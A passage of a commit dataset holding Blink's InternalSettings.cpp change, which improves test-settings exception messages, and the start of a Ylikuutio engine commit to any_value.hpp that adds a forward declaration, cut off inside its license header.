m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setFixedFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setFixed(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setCursiveFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setCursive(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setFantasyFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setFantasy(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setPictographFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setPictograph(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setTextAutosizingEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setTextAutosizingEnabled(enabled);\n}\n\nvoid InternalSettings::setTextAutosizingWindowSizeOverride(int width, int height, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setTextAutosizingWindowSizeOverride(IntSize(width, height));\n}\n\nvoid InternalSettings::setMediaTypeOverride(const String& mediaType, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setMediaTypeOverride(mediaType);\n}\n\nvoid InternalSettings::setAccessibilityFontScaleFactor(float fontScaleFactor, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setAccessibilityFontScaleFactor(fontScaleFactor);\n}\n\nvoid InternalSettings::setCSSExclusionsEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setCSSExclusionsEnabled(enabled);\n}\n\nvoid InternalSettings::setEditingBehavior(const String& editingBehavior, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    if (equalIgnoringCase(editingBehavior, \"win\"))\n        settings()->setEditingBehaviorType(EditingWindowsBehavior);\n    else if (equalIgnoringCase(editingBehavior, \"mac\"))\n        settings()->setEditingBehaviorType(EditingMacBehavior);\n    else if (equalIgnoringCase(editingBehavior, \"unix\"))\n        settings()->setEditingBehaviorType(EditingUnixBehavior);\n    else if (equalIgnoringCase(editingBehavior, \"android\"))\n        settings()->setEditingBehaviorType(EditingAndroidBehavior);\n    else\n        exceptionState.throwUninformativeAndGenericDOMException(SyntaxError);\n}\n\nvoid InternalSettings::setLangAttributeAwareFormControlUIEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setLangAttributeAwareFormControlUIEnabled(enabled);\n}\n\nvoid InternalSettings::setImagesEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setImagesEnabled(enabled);\n}\n\nvoid InternalSettings::setDefaultVideoPosterURL(const String& url, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setDefaultVideoPosterURL(url);\n}\n\nvoid InternalSettings::setPasswordGenerationDecorationEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setPasswordGenerationDecorationEnabled(enabled);\n}\n\n}\n<commit_msg>Improve core\/testing\/InternalSettings exception messages.<commit_after>\/*\n * Copyright (C) 2012 Google Inc. All rights reserved.\n * Copyright (C) 2013 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1.  Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n * 2.  Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS \"AS IS\" AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"InternalSettings.h\"\n\n#include \"RuntimeEnabledFeatures.h\"\n#include \"bindings\/v8\/ExceptionState.h\"\n#include \"core\/dom\/ExceptionCode.h\"\n#include \"core\/page\/Page.h\"\n#include \"core\/frame\/Settings.h\"\n#include \"platform\/ColorChooser.h\"\n#include \"platform\/Supplementable.h\"\n#include \"platform\/text\/LocaleToScriptMapping.h\"\n\n#define InternalSettingsGuardForSettingsReturn(returnValue) \\\n    if (!settings()) { \\\n        exceptionState.throwDOMException(InvalidAccessError, \"The settings object cannot be obtained.\"); \\\n        return returnValue; \\\n    }\n\n#define InternalSettingsGuardForSettings()  \\\n    if (!settings()) { \\\n        exceptionState.throwDOMException(InvalidAccessError, \"The settings object cannot be obtained.\"); \\\n        return; \\\n    }\n\n#define InternalSettingsGuardForPage() \\\n    if (!page()) { \\\n        exceptionState.throwDOMException(InvalidAccessError, \"The page object cannot be obtained.\"); \\\n        return; \\\n    }\n\nnamespace WebCore {\n\nInternalSettings::Backup::Backup(Settings* settings)\n    : m_originalCSSExclusionsEnabled(RuntimeEnabledFeatures::cssExclusionsEnabled())\n    , m_originalAuthorShadowDOMForAnyElementEnabled(RuntimeEnabledFeatures::authorShadowDOMForAnyElementEnabled())\n    , m_originalExperimentalWebSocketEnabled(settings->experimentalWebSocketEnabled())\n    , m_originalStyleScoped(RuntimeEnabledFeatures::styleScopedEnabled())\n    , m_originalCSP(RuntimeEnabledFeatures::experimentalContentSecurityPolicyFeaturesEnabled())\n    , m_originalOverlayScrollbarsEnabled(RuntimeEnabledFeatures::overlayScrollbarsEnabled())\n    , m_originalEditingBehavior(settings->editingBehaviorType())\n    , m_originalTextAutosizingEnabled(settings->textAutosizingEnabled())\n    , m_originalTextAutosizingWindowSizeOverride(settings->textAutosizingWindowSizeOverride())\n    , m_originalAccessibilityFontScaleFactor(settings->accessibilityFontScaleFactor())\n    , m_originalMediaTypeOverride(settings->mediaTypeOverride())\n    , m_originalMockScrollbarsEnabled(settings->mockScrollbarsEnabled())\n    , m_langAttributeAwareFormControlUIEnabled(RuntimeEnabledFeatures::langAttributeAwareFormControlUIEnabled())\n    , m_imagesEnabled(settings->imagesEnabled())\n    , m_shouldDisplaySubtitles(settings->shouldDisplaySubtitles())\n    , m_shouldDisplayCaptions(settings->shouldDisplayCaptions())\n    , m_shouldDisplayTextDescriptions(settings->shouldDisplayTextDescriptions())\n    , m_defaultVideoPosterURL(settings->defaultVideoPosterURL())\n    , m_originalCompositorDrivenAcceleratedScrollEnabled(settings->compositorDrivenAcceleratedScrollingEnabled())\n    , m_originalLayerSquashingEnabled(settings->layerSquashingEnabled())\n    , m_originalPasswordGenerationDecorationEnabled(settings->passwordGenerationDecorationEnabled())\n{\n}\n\nvoid InternalSettings::Backup::restoreTo(Settings* settings)\n{\n    RuntimeEnabledFeatures::setCSSExclusionsEnabled(m_originalCSSExclusionsEnabled);\n    RuntimeEnabledFeatures::setAuthorShadowDOMForAnyElementEnabled(m_originalAuthorShadowDOMForAnyElementEnabled);\n    settings->setExperimentalWebSocketEnabled(m_originalExperimentalWebSocketEnabled);\n    RuntimeEnabledFeatures::setStyleScopedEnabled(m_originalStyleScoped);\n    RuntimeEnabledFeatures::setExperimentalContentSecurityPolicyFeaturesEnabled(m_originalCSP);\n    RuntimeEnabledFeatures::setOverlayScrollbarsEnabled(m_originalOverlayScrollbarsEnabled);\n    settings->setEditingBehaviorType(m_originalEditingBehavior);\n    settings->setTextAutosizingEnabled(m_originalTextAutosizingEnabled);\n    settings->setTextAutosizingWindowSizeOverride(m_originalTextAutosizingWindowSizeOverride);\n    settings->setAccessibilityFontScaleFactor(m_originalAccessibilityFontScaleFactor);\n    settings->setMediaTypeOverride(m_originalMediaTypeOverride);\n    settings->setMockScrollbarsEnabled(m_originalMockScrollbarsEnabled);\n    RuntimeEnabledFeatures::setLangAttributeAwareFormControlUIEnabled(m_langAttributeAwareFormControlUIEnabled);\n    settings->setImagesEnabled(m_imagesEnabled);\n    settings->setShouldDisplaySubtitles(m_shouldDisplaySubtitles);\n    settings->setShouldDisplayCaptions(m_shouldDisplayCaptions);\n    settings->setShouldDisplayTextDescriptions(m_shouldDisplayTextDescriptions);\n    settings->setDefaultVideoPosterURL(m_defaultVideoPosterURL);\n    settings->setCompositorDrivenAcceleratedScrollingEnabled(m_originalCompositorDrivenAcceleratedScrollEnabled);\n    settings->setLayerSquashingEnabled(m_originalLayerSquashingEnabled);\n    settings->setPasswordGenerationDecorationEnabled(m_originalPasswordGenerationDecorationEnabled);\n    settings->genericFontFamilySettings().reset();\n}\n\n\/\/ We can't use RefCountedSupplement because that would try to make InternalSettings RefCounted\n\/\/ and InternalSettings is already RefCounted via its base class, InternalSettingsGenerated.\n\/\/ Instead, we manually make InternalSettings supplement Page.\nclass InternalSettingsWrapper : public Supplement<Page> {\npublic:\n    explicit InternalSettingsWrapper(Page* page)\n        : m_internalSettings(InternalSettings::create(page)) { }\n    virtual ~InternalSettingsWrapper() { m_internalSettings->hostDestroyed(); }\n#if !ASSERT_DISABLED\n    virtual bool isRefCountedWrapper() const OVERRIDE { return true; }\n#endif\n    InternalSettings* internalSettings() const { return m_internalSettings.get(); }\n\nprivate:\n    RefPtr<InternalSettings> m_internalSettings;\n};\n\nconst char* InternalSettings::supplementName()\n{\n    return \"InternalSettings\";\n}\n\nInternalSettings* InternalSettings::from(Page* page)\n{\n    if (!Supplement<Page>::from(page, supplementName()))\n        Supplement<Page>::provideTo(page, supplementName(), adoptPtr(new InternalSettingsWrapper(page)));\n    return static_cast<InternalSettingsWrapper*>(Supplement<Page>::from(page, supplementName()))->internalSettings();\n}\n\nInternalSettings::~InternalSettings()\n{\n}\n\nInternalSettings::InternalSettings(Page* page)\n    : InternalSettingsGenerated(page)\n    , m_page(page)\n    , m_backup(&page->settings())\n{\n}\n\nvoid InternalSettings::resetToConsistentState()\n{\n    page()->setPageScaleFactor(1, IntPoint(0, 0));\n\n    m_backup.restoreTo(settings());\n    m_backup = Backup(settings());\n\n    InternalSettingsGenerated::resetToConsistentState();\n}\n\nSettings* InternalSettings::settings() const\n{\n    if (!page())\n        return 0;\n    return &page()->settings();\n}\n\nvoid InternalSettings::setMockScrollbarsEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setMockScrollbarsEnabled(enabled);\n}\n\nvoid InternalSettings::setAuthorShadowDOMForAnyElementEnabled(bool isEnabled)\n{\n    RuntimeEnabledFeatures::setAuthorShadowDOMForAnyElementEnabled(isEnabled);\n}\n\nvoid InternalSettings::setExperimentalWebSocketEnabled(bool isEnabled)\n{\n    settings()->setExperimentalWebSocketEnabled(isEnabled);\n}\n\nvoid InternalSettings::setStyleScopedEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setStyleScopedEnabled(enabled);\n}\n\nvoid InternalSettings::setExperimentalContentSecurityPolicyFeaturesEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setExperimentalContentSecurityPolicyFeaturesEnabled(enabled);\n}\n\nvoid InternalSettings::setOverlayScrollbarsEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setOverlayScrollbarsEnabled(enabled);\n}\n\nvoid InternalSettings::setTouchEventEmulationEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setTouchEventEmulationEnabled(enabled);\n}\n\nvoid InternalSettings::setViewportEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setViewportEnabled(enabled);\n}\n\n\/\/ FIXME: This is a temporary flag and should be removed once accelerated\n\/\/ overflow scroll is ready (crbug.com\/254111).\nvoid InternalSettings::setCompositorDrivenAcceleratedScrollingEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setCompositorDrivenAcceleratedScrollingEnabled(enabled);\n}\n\n\/\/ FIXME: This is a temporary flag and should be removed once squashing is\n\/\/ ready (crbug.com\/261605).\nvoid InternalSettings::setLayerSquashingEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setLayerSquashingEnabled(enabled);\n}\n\nvoid InternalSettings::setStandardFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setStandard(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setSerifFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setSerif(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setSansSerifFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setSansSerif(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setFixedFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setFixed(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setCursiveFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setCursive(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setFantasyFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setFantasy(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setPictographFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setPictograph(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setTextAutosizingEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setTextAutosizingEnabled(enabled);\n}\n\nvoid InternalSettings::setTextAutosizingWindowSizeOverride(int width, int height, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setTextAutosizingWindowSizeOverride(IntSize(width, height));\n}\n\nvoid InternalSettings::setMediaTypeOverride(const String& mediaType, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setMediaTypeOverride(mediaType);\n}\n\nvoid InternalSettings::setAccessibilityFontScaleFactor(float fontScaleFactor, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setAccessibilityFontScaleFactor(fontScaleFactor);\n}\n\nvoid InternalSettings::setCSSExclusionsEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setCSSExclusionsEnabled(enabled);\n}\n\nvoid InternalSettings::setEditingBehavior(const String& editingBehavior, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    if (equalIgnoringCase(editingBehavior, \"win\"))\n        settings()->setEditingBehaviorType(EditingWindowsBehavior);\n    else if (equalIgnoringCase(editingBehavior, \"mac\"))\n        settings()->setEditingBehaviorType(EditingMacBehavior);\n    else if (equalIgnoringCase(editingBehavior, \"unix\"))\n        settings()->setEditingBehaviorType(EditingUnixBehavior);\n    else if (equalIgnoringCase(editingBehavior, \"android\"))\n        settings()->setEditingBehaviorType(EditingAndroidBehavior);\n    else\n        exceptionState.throwDOMException(SyntaxError, \"The editing behavior type provided ('\" + editingBehavior + \"') is invalid.\");\n}\n\nvoid InternalSettings::setLangAttributeAwareFormControlUIEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setLangAttributeAwareFormControlUIEnabled(enabled);\n}\n\nvoid InternalSettings::setImagesEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setImagesEnabled(enabled);\n}\n\nvoid InternalSettings::setDefaultVideoPosterURL(const String& url, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setDefaultVideoPosterURL(url);\n}\n\nvoid InternalSettings::setPasswordGenerationDecorationEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setPasswordGenerationDecorationEnabled(enabled);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Ylikuutio - A 3D game and simulation engine.\n\/\/\n\/\/ Copyright (C) 2015-2020 Antti Nuortimo.\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as\n\/\/ published by the Free Software Foundation, either version 3 of the\n\/\/ License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with this program.  If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef __ANY_VALUE_HPP_INCLUDED\n#define __ANY_VALUE_HPP_INCLUDED\n\n#include \"datatype.hpp\"\n\n\/\/ Include GLM\n#ifndef __GLM_GLM_HPP_INCLUDED\n#define __GLM_GLM_HPP_INCLUDED\n#include <glm\/glm.hpp> \/\/ glm\n#endif\n\n\/\/ Include standard headers\n#include <iostream> \/\/ std::cout, std::cin, std::cerr\n#include <memory>   \/\/ std::make_shared, std::shared_ptr\n#include <string>   \/\/ std::string\n#include <stdint.h> \/\/ uint32_t etc.\n#include <variant>  \/\/ std::variant\n#include <vector>   \/\/ std::vector\n\nnamespace yli\n{\n    namespace ontology\n    {\n        class Entity;\n        class Movable;\n        class Universe;\n        class World;\n        class Scene;\n        class Shader;\n        class Material;\n        class Species;\n        class Object;\n        class Symbiosis;\n        class SymbiontMaterial;\n        class SymbiontSpecies;\n        class Holobiont;\n        class Biont;\n        class Font2D;\n        class Text2D;\n        class VectorFont;\n        class Glyph;\n        class Text3D;\n        class Console;\n        class ComputeTask;\n    }\n\n    namespace common\n    {\n        class AnyStruct;\n        class SphericalCoordinatesStruct;\n\n        class AnyValue\n        {\n            public:\n                std::string get_datatype() const;\n                std::string get_string() const;\n                yli::ontology::Entity* get_entity_pointer() const;\n                bool set_value(const std::string& value_string);\n\n                \/\/ copy constructor.\n                AnyValue(const yli::common::AnyValue& original);\n\n                \/\/ common constructors.\n\n                AnyValue(); \/\/ This constructor initializes `AnyValue` with default values.\n                AnyValue(const std::string& type, const std::string& value_string); \/\/ This constructor takes also the value as a string.\n                AnyValue(const bool bool_value);\n                AnyValue(const char char_value);\n                AnyValue(const float float_value);\n                AnyValue(const double double_value);\n                AnyValue(const int32_t int32_t_value);\n                AnyValue(const uint32_t uint32_t_value);\n                AnyValue(bool* const bool_pointer);\n                AnyValue(char* const char_pointer);\n                AnyValue(float* const float_pointer);\n                AnyValue(double* const double_pointer);\n                AnyValue(int32_t* const int32_t_pointer);\n                AnyValue(uint32_t* const uint32_t_pointer);\n                AnyValue(yli::ontology::Entity* const entity_pointer);\n                AnyValue(yli::ontology::Movable* const movable_pointer);\n                AnyValue(const yli::ontology::Movable* const const_movable_pointer);\n                AnyValue(yli::ontology::Universe* const universe_pointer);\n                AnyValue(yli::ontology::World* const world_pointer);\n                AnyValue(yli::ontology::Scene* const scene_pointer);\n                AnyValue(yli::ontology::Shader* const shader_pointer);\n                AnyValue(yli::ontology::Material* const material_pointer);\n                AnyValue(yli::ontology::Species* const species_pointer);\n                AnyValue(yli::ontology::Object* const object_pointer);\n                AnyValue(yli::ontology::Symbiosis* const symbiosis_pointer);\n                AnyValue(yli::ontology::SymbiontMaterial* const symbiont_material_pointer);\n                AnyValue(yli::ontology::SymbiontSpecies* const symbiont_species_pointer);\n                AnyValue(yli::ontology::Holobiont* const holobiont_pointer);\n                AnyValue(yli::ontology::Biont* const biont_pointer);\n                AnyValue(yli::ontology::Font2D* const font2D_pointer);\n                AnyValue(yli::ontology::Text2D* const text2D_pointer);\n                AnyValue(yli::ontology::VectorFont* const vector_font_pointer);\n                AnyValue(yli::ontology::Glyph* const glyph_pointer);\n                AnyValue(yli::ontology::Text3D* const text3D_pointer);\n                AnyValue(yli::ontology::Console* const console_pointer);\n                AnyValue(yli::ontology::ComputeTask* const compute_task_pointer);\n                AnyValue(std::shared_ptr<yli::common::AnyValue> any_value_shared_ptr);\n                AnyValue(std::shared_ptr<yli::common::AnyStruct> any_struct_shared_ptr);\n                AnyValue(yli::common::SphericalCoordinatesStruct* const spherical_coordinates_struct_pointer);\n                AnyValue(std::string* const std_string_pointer);\n                AnyValue(const std::string* const const_std_string_pointer);\n                AnyValue(std::shared_ptr<std::vector<int8_t>> std_vector_int8_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<uint8_t>> std_vector_uint8_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<int16_t>> std_vector_int16_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<uint16_t>> std_vector_uint16_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<int32_t>> std_vector_int32_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<uint32_t>> std_vector_uint32_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<float>> std_vector_float_shared_ptr);\n                AnyValue(std::shared_ptr<glm::vec3> const glm_vec3_shared_ptr);\n                AnyValue(std::shared_ptr<glm::vec4> const glm_vec4_shared_ptr);\n\n                AnyValue(const std::string& type, const bool bool_value);\n                AnyValue(const std::string& type, const char char_value);\n                AnyValue(const std::string& type, const float float_value);\n                AnyValue(const std::string& type, const double double_value);\n                AnyValue(const std::string& type, const int32_t int32_t_value);\n                AnyValue(const std::string& type, const uint32_t uint32_t_value);\n                AnyValue(const std::string& type, bool* const bool_pointer);\n                AnyValue(const std::string& type, char* const char_pointer);\n                AnyValue(const std::string& type, float* const float_pointer);\n                AnyValue(const std::string& type, double* const double_pointer);\n                AnyValue(const std::string& type, int32_t* const int32_t_pointer);\n                AnyValue(const std::string& type, uint32_t* const uint32_t_pointer);\n                AnyValue(const std::string& type, yli::ontology::Entity* const entity_pointer);\n                AnyValue(const std::string& type, yli::ontology::Movable* const movable_pointer);\n                AnyValue(const std::string& type, const yli::ontology::Movable* const const_movable_pointer);\n                AnyValue(const std::string& type, yli::ontology::Universe* const universe_pointer);\n                AnyValue(const std::string& type, yli::ontology::World* const world_pointer);\n                AnyValue(const std::string& type, yli::ontology::Scene* const scene_pointer);\n                AnyValue(const std::string& type, yli::ontology::Shader* const shader_pointer);\n                AnyValue(const std::string& type, yli::ontology::Material* const material_pointer);\n                AnyValue(const std::string& type, yli::ontology::Species* const species_pointer);\n                AnyValue(const std::string& type, yli::ontology::Object* const object_pointer);\n                AnyValue(const std::string& type, yli::ontology::Symbiosis* const symbiosis_pointer);\n                AnyValue(const std::string& type, yli::ontology::SymbiontMaterial* const symbiont_material_pointer);\n                AnyValue(const std::string& type, yli::ontology::SymbiontSpecies* const symbiont_species_pointer);\n                AnyValue(const std::string& type, yli::ontology::Holobiont* const holobiont_pointer);\n                AnyValue(const std::string& type, yli::ontology::Biont* const biont_pointer);\n                AnyValue(const std::string& type, yli::ontology::Font2D* const font2D_pointer);\n                AnyValue(const std::string& type, yli::ontology::Text2D* const text2D_pointer);\n                AnyValue(const std::string& type, yli::ontology::VectorFont* const vector_font_pointer);\n                AnyValue(const std::string& type, yli::ontology::Glyph* const glyph_pointer);\n                AnyValue(const std::string& type, yli::ontology::Text3D* const text3D_pointer);\n                AnyValue(const std::string& type, yli::ontology::Console* const console_pointer);\n                AnyValue(const std::string& type, yli::ontology::ComputeTask* const compute_task_pointer);\n                AnyValue(const std::string& type, std::shared_ptr<yli::common::AnyValue> any_value_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<yli::common::AnyStruct> any_struct_shared_ptr);\n                AnyValue(const std::string& type, yli::common::SphericalCoordinatesStruct* const spherical_coordinates_struct_pointer);\n                AnyValue(const std::string& type, std::string* const std_string_pointer);\n                AnyValue(const std::string& type, const std::string* const const_std_string_pointer);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<int8_t>> std_vector_int8_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<uint8_t>> std_vector_uint8_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<int16_t>> std_vector_int16_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<uint16_t>> std_vector_uint16_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<int32_t>> std_vector_int32_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<uint32_t>> std_vector_uint32_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<float>> std_vector_float_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<glm::vec3> const glm_vec3_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<glm::vec4> const glm_vec3_shared_ptr);\n\n                yli::common::Datatype type;\n\n                std::variant<\n                    bool,\n                    char,\n                    float,\n                    double,\n                    int32_t,\n                    uint32_t,\n                    bool*,\n                    char*,\n                    float*,\n                    double*,\n                    int32_t*,\n                    uint32_t*,\n                    yli::ontology::Entity*,\n                    yli::ontology::Movable*,\n                    const yli::ontology::Movable*,\n                    yli::ontology::Universe*,\n                    yli::ontology::World*,\n                    yli::ontology::Scene*,\n                    yli::ontology::Shader*,\n                    yli::ontology::Material*,\n                    yli::ontology::Species*,\n                    yli::ontology::Object*,\n                    yli::ontology::Symbiosis*,\n                    yli::ontology::SymbiontMaterial*,\n                    yli::ontology::SymbiontSpecies*,\n                    yli::ontology::Holobiont*,\n                    yli::ontology::Biont*,\n                    yli::ontology::Font2D*,\n                    yli::ontology::Text2D*,\n                    yli::ontology::VectorFont*,\n                    yli::ontology::Glyph*,\n                    yli::ontology::Text3D*,\n                    yli::ontology::Console*,\n                    yli::ontology::ComputeTask*,\n                    std::shared_ptr<yli::common::AnyValue>,\n                    std::shared_ptr<yli::common::AnyStruct>,\n                    std::shared_ptr<std::vector<int8_t>>,\n                    std::shared_ptr<std::vector<uint8_t>>,\n                    std::shared_ptr<std::vector<int16_t>>,\n                    std::shared_ptr<std::vector<uint16_t>>,\n                    std::shared_ptr<std::vector<int32_t>>,\n                    std::shared_ptr<std::vector<uint32_t>>,\n                    std::shared_ptr<std::vector<float>>,\n                    std::shared_ptr<glm::vec3>,\n                    std::shared_ptr<glm::vec4>,\n                    yli::common::SphericalCoordinatesStruct*,\n                    std::string*,\n                    const std::string*\n                    > data;\n\n            private:\n                void set_default_values();\n        };\n    }\n}\n\n#endif\n<commit_msg>Bugfix: forward declaration.<commit_after>\/\/ Ylikuutio - A 3D game and simulation engine.\n\/\/\n\/\/ Copyright (C) 2015-2020 Antti Nuortimo.\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as\n\/\/ published by the Free Software Foundation, either version 3 of the\n\/\/ License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public 